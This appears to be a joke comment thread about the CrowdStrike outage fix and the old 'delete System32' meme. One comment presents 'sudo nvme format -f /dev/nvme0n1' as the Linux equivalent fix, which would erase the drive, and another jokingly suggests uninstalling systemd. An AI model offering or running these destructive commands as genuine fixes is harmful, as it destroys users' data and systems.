What a simple fix

Seeing the crowdstrike solution reminded me of the old memes

Go to C:\Windows\System32\drivers\CrowdStrike

Locate and delete file matching "C-00000291*.sys"

24

Instructions unclear. Using Linux.

Wait a sec I think I found it.

I found mine in $HOME/.wine32/drive_c/windows/system32

This didn't break my whole system but it did break most of the software I value, so mission accomplished!

I made a typo in the above. If I correct it you'll be able to break what's left.

They may have changed the name to replace the 32 with d, make sure to uninstall systemd if it's installed.

On Linux, it's sudo apt install nvme-cli -y && sudo nvme format -f /dev/nvme0n1

I'm using hdd

system32 is legacy crap anyways and is not used anymore. Everything important is stored in system64

Did this as a kid 600mb folder I needed space for quake

Gonna have to bust out the good old carbon dating kit for this meme

In my mind, this is exactly what happened with crowdstrike

I only wanted to triforce.

Now I need to fix dad's laptop before he gets home!
